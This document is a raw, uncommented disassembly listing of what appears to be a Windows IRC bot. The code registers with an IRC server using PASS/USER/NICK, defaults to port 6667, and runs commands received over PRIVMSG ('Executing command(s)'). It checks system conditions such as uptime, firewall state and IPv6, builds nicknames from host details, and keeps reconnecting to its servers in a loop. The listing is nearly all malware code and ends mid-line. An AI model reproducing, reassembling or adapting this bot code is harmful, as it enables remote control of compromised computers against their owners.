[ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DE30 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DE30 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DE30 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DE30 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DE30 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DE30 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F048 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; --------------------------------------------------------------------------- loc_40C93C: ; DATA XREF: sub_40CEB0+66o push ebp mov ebp, esp sub esp, 534h push 327h push dword ptr [ebp+8] lea eax, [ebp-534h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-208h] push eax push offset asc_419F48 ; ";" lea eax, [ebp-530h] push eax call sub_40813C add esp, 0Ch mov [ebp-204h], eax and dword ptr [ebp-20Ch], 0 loc_40C98D: ; CODE XREF: .text:0040CA12j cmp dword ptr [ebp-204h], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: .text:0040C994j ; .text:0040C9B5j mov eax, [ebp-204h] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: .text:0040C9A4j mov eax, [ebp-204h] inc eax mov [ebp-204h], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: .text:0040C9A6j push dword ptr [ebp-204h] lea eax, [ebp-38Fh] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp-200h] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp-200h] push eax call sub_40E618 pop ecx lea eax, [ebp-208h] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp-20Ch], eax mov eax, [ebp-20Ch] mov [ebp-204h], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: .text:0040C996j push dword ptr [ebp-534h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B6h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B6h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset loc_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: .text:00402175p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41E9A4 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E898 call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DE30 push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch cmp off_41DA68[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA68[eax] push offset dword_41E898 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA6C[eax] push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp dword_41DA70[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push dword_41DA70[eax] push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx push offset byte_41E718 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E718 test eax, eax jz short loc_40D099 push offset byte_41E718 call sub_4105FB pop ecx push offset byte_41E718 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E718 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EEC8 test eax, eax jz short loc_40D0C3 push offset byte_41EEC8 lea eax, [ebp+var_184] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F048 test eax, eax jz short loc_40D0F6 push offset byte_41F048 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F048 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EE48 test eax, eax jz short loc_40D163 push offset byte_41EE48 push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA_0 ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call ds:dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, byte_41DB34 test eax, eax jz short loc_40D31D push offset byte_41DB34 push offset aLast ; "#last" call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aLast ; "#last" call sub_4105FB pop ecx movsx eax, byte_41DBB4 test eax, eax jz short loc_40D31D push offset byte_41DBB4 push offset dword_41ED48 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED48 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DAA4 lea eax, [ebp+var_80] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41E9A4 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E898 call sub_4105FB pop ecx push offset dword_41E998 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41E998 push offset dword_41E898 call sub_4050EA add esp, 10h mov dword_41E9A4, eax push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx cmp dword_41E9A4, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call ds:dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: .text:004022A0p ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: .text:004022DDp ; .text:004034D1p ... var_1008 = dword ptr -1008h var_1004 